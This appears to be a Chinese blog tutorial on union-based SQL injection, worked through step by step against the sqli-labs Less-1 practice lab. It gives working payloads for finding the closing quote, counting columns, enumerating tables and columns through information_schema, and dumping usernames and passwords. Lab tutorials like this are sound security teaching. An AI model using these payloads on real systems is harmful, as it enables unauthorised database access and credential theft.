Union注入

目录

1、查找注入点,点击进去就看到了注入点的提示,即id

 2、判断注入类型,这里尝试用减法判断

 3、判断闭合方式

4、查询列数

 5、查询回显位


环境:本地搭建的sql-labs和phpMyAdmin

链接:SQL注入基础-CSDN博客

上一篇文章中我们归纳了sql注入的基本顺序:

(1)查找注入点

(2)判断是字符型注入还是数字型注入 and 1=1 1=2/ 3-1

(3)如果是字符型,要找到他的闭合方式 '        "        ')        ")

(4)查询列数,group by     order by

(5)查询回显位置,将id改为0或者-1
 

拿sql-labs less-1举例:

1、查找注入点,点击进去就看到了注入点的提示,即id

 2、判断注入类型,这里尝试用减法判断

?id=2-1

 发现返回的是id=2的结果,说明是字符型注入

 3、判断闭合方式

这里有一个简单的方法,即用\(转义字符)来判断,当闭合字符遇到转义字符时,会被转义,那么没有闭合的语句就不完整,就会报错。

分析报错信息:看\后面跟着的字符,是什么字符,它的闭合字符就是什么

?id=1\

 

 闭合符为'(单引号)

4、查询列数

使用二分法逐步排查,当group by 3有正确回显,而group by 4没有正确回显,说明列数为三列

?id=1' group by 3 --+

 

 5、查询回显位

使用union select 查询,1,2,3表示的是三列的意思,也可以用其他数字来代替,只要是三个数字代表三列就行

?id=1' union select 1,2,3 --+

 但是发现回显的内容并没有改变

 利用phpMyAdmin查询数据库可以发现,id=1的内容有两列,但是我们回显的内容只有一列,于是便会回显id=1的第一列的内容

select * from users where id=1 union select 1,2,3;

 于是我们将id改为一个不存在的值,就可以将我们输入的内容回显了

?id=-1' union select 1,2,3 --+

 

 可以看到显示位为2和3

拿到表名和列名:

表名集合表:tables

列名集合表:columns

 所需要的表名信息:数据库information_schema——>数据表tables——>数据列table_name

查找列:

?id=-1' union select 1,2,table_name from information_schema.tables --+

 可以看到有一个返回值

 但这只是一个列的名字,我们知道一个库中是有许许多多列的,于是我们进一步细化,table_schema表示的是数据库,database() 是一个函数,返回的是当前数据库的名字。即将查找的范围缩小到了,当前的数据库。

?id=-1' union select 1,2,table_name from information_schema.tables where table_schema=database() --+

 

 发现回显只有一行,于是我们又要用到之前介绍的group_concat()函数,将输出变为一行,将要输出的参数放在group_concat()函数括号内https://mp.csdn.net/mp_blog/creation/editor/140436757icon-default.png?t=N7T8https://mp.csdn.net/mp_blog/creation/editor/140436757

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

 返回该库中所有表的名字

 拿到了表名,接下来我们要拿到列名:

类似于上面的步骤,将表名table_name换为column_name查询,可以得到所有的列名

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns --+

 继续细化筛选条件:

table_schema=database()表示在当前数据库中查询

table_name='users' 表示在当前表即users中查询列

如下图所示,得到了三个列:

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' --+

 

 接下来去拿列中的具体信息:

从users表中拿username,和password

?id=-1' union select 1,2,group_concat(username,password) from users --+

 

 成功拿到信息,这里可以加一个分隔符便于查看

?id=-1' union select 1,2,group_concat(username,"~",password) from users --+

 

 今天就写到这里啦!

喜欢的话给我点个赞吧,我们一起成长!!!

来源:橙子科技

  • 20
    点赞
  • 26
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值